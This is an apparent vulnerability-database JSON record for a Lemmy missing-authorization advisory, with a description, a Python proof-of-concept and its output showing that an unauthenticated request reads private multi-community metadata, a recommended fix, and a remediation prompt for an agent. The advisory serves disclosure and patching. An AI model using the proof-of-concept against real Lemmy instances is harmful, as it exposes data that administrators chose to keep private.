{"answers":{"affected":"2 open source packages ship an affected version, including lemmy_api.","exploited":"There is no known exploitation of GHSA-jmxc-hhwx-gvv3 in the wild and no public exploit code.","fix":"No fix has been published for GHSA-jmxc-hhwx-gvv3 yet. Limit exposure of the affected software until one is available.","what":"GHSA-jmxc-hhwx-gvv3 is a missing authorization vulnerability in lemmy_api, published on 6 May 2026. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-jmxc-hhwx-gvv3 and fix it if it is affected.\n\nWhat it is: GHSA-jmxc-hhwx-gvv3 is a missing authorization vulnerability in lemmy_api, published on 6 May 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-jmxc-hhwx-gvv3 in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- lemmy_api (crates.io): affected all versions up to 0.19.1-rc.1; no fix listed\n- lemmy_api (crates.io): affected all versions up to 0.19.1-rc.1; no fix listed\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-jmxc-hhwx-gvv3/ (Markdown: https://insights.sbomify.com/GHSA-jmxc-hhwx-gvv3/index.md)","id":"GHSA-jmxc-hhwx-gvv3","markdown":"https://insights.sbomify.com/GHSA-jmxc-hhwx-gvv3/index.md","name":"GHSA-jmxc-hhwx-gvv3","record":{"aliases":[],"analysis":{"component_type":"web_application","fix_type":"patch","impacts":["data_read"],"network_reachable":"yes","non_default_config":true,"product_category":"Lemmy social media","requires_auth":"none","summary":"Unauthenticated attackers can read private multi-community metadata on Lemmy instances configured as private.","user_interaction":"not_required","vuln_class":"missing_authorization"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"**NOTE**: Only affects development version.\n\n## Summary\n\n`read_multi_community()` does not enforce the private-instance setting. On a private instance, an unauthenticated visitor can read multi-community names, titles, summaries, sidebars, owner identities, and member community lists.\n\n## Details\n\nOther read handlers load `local_site` and call `check_private_instance()` before returning data to unauthenticated callers. `read_multi_community()` does not call that helper:\n\n```rust\npub async fn read_multi_community(\n  Query(data): Query\u003cGetMultiCommunity\u003e,\n  context: Data\u003cLemmyContext\u003e,\n  local_user_view: Option\u003cLocalUserView\u003e,\n) -\u003e LemmyResult\u003cJson\u003cGetMultiCommunityResponse\u003e\u003e {\n  let my_person_id = local_user_view.as_ref().map(|l| l.person.id);\n  let id = resolve_multi_community_identifier(\u0026data.name, data.id, \u0026context, \u0026local_user_view)\n    .await?\n    .ok_or(LemmyErrorType::NoIdGiven)?;\n  let multi_community_view =\n    MultiCommunityView::read(\u0026mut context.pool(), id, my_person_id).await?;\n```\n\n`get_community()`, `list_posts()`, `list_comments()`, `read_person()`, `search()`, and `resolve_object()` all enforce the private-instance guard.\n\n## Proof of Concept\n\nThe script creates a multi-community whose metadata contains a marker, turns on `private_instance`, confirms a guarded control endpoint blocks unauthenticated callers, then reads the same multi-community over `GET /multi_community` without authentication.\n\n```python\n#!/usr/bin/env python3\nimport json, random, string\nimport requests\n\nBASE       = \"http://127.0.0.1:8536/api/v4\"\nADMIN_USER = \"lemmy\"\nADMIN_PASS = \"lemmylemmy\"\n\ndef api(method, path, token=None, **kw):\n    h = kw.pop(\"headers\", {})\n    if token: h[\"Authorization\"] = \"Bearer \" + token\n    return requests.request(method, BASE + path, headers=h, **kw)\n\nsuffix = \"multi\" + \"\".join(random.choice(string.ascii_lowercase) for _ in range(6))\nsecret = \"SECRET_MULTI_\" + suffix\n\nadmin = api(\"POST\", \"/account/auth/login\", json={\"username_or_email\": ADMIN_USER, \"password\": ADMIN_PASS}).json()[\"jwt\"]\n\n# Create a multi-community whose title/summary/sidebar embed the marker.\nmid = api(\"POST\", \"/multi_community\", admin, json={\n    \"name\": \"m\" + suffix, \"title\": secret,\n    \"summary\": secret + \" summary\", \"sidebar\": secret + \" sidebar\",\n}).json()[\"multi_community_view\"][\"multi\"][\"id\"]\n\n# Enable private_instance.\napi(\"PUT\", \"/site\", admin, json={\"private_instance\": True})\n\nprint(\"private_instance:\", api(\"GET\", \"/site\").json()[\"site_view\"][\"local_site\"][\"private_instance\"])\n\n# Control: a comparable read endpoint correctly rejects unauthenticated callers.\ncontrol = api(\"GET\", \"/community/list\")\nprint(\"unauth /community/list (control):\", control.status_code, control.text[:120])\n\n# Leak: read_multi_community returns the private metadata to an unauthenticated caller.\nleak = api(\"GET\", \"/multi_community\", params={\"id\": mid})\nprint(\"unauth /multi_community:\", leak.status_code, leak.text[:300])\nprint(\"contains secret:\", secret in leak.text)\n```\n\nOutput:\n\n```text\nprivate_instance: True\nunauth /community/list (control): 400 {\"error\":\"instance_is_private\",\"cause\":\"InstanceIsPrivate\"}\nunauth /multi_community: 200 {\"multi_community_view\":{\"multi\":{\"title\":\"SECRET_MULTI_multijwxokm\",\"summary\":\"SECRET_MULTI_multijwxokm summary\",\"sidebar\":\"SECRET_MULTI_multijwxokm sidebar\"}}}\ncontains secret: True\n```\n\nThe control request shows the privacy setting is active. The multi-community endpoint still returns the private metadata.\n\n## Impact\n\nAn unauthenticated visitor can read multi-community metadata from an instance whose admin configured the site as private. The exposed fields include names, titles, summaries, sidebars, owner identities, and member community lists.\n\n## Recommended Fix\n\nLoad `local_site` at the start of `read_multi_community()` and call `check_private_instance(\u0026local_user_view, \u0026local_site)?` before resolving or reading the multi-community.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","ecosystems":["crates.io"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Private Lemmy instances expose multi-community metadata without authentication","id":"GHSA-jmxc-hhwx-gvv3","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"crates.io","product":null,"products":[],"type":"missing_authorization","year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"crates.io","fixed":[],"introduced":["0"],"last_affected":["0.19.1-rc.1"],"package":"lemmy_api","purl":null,"source":"GHSA-jmxc-hhwx-gvv3"},{"ecosystem":"crates.io","fixed":[],"introduced":["0"],"last_affected":["0.19.1-rc.1"],"package":"lemmy_api","purl":"pkg:cargo/lemmy_api","source":"GHSA-jmxc-hhwx-gvv3"}],"products":null,"published":"2026-05-06","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Unauthenticated attackers can read private multi-community metadata on Lemmy instances configured as private.","url":"https://insights.sbomify.com/GHSA-jmxc-hhwx-gvv3/"}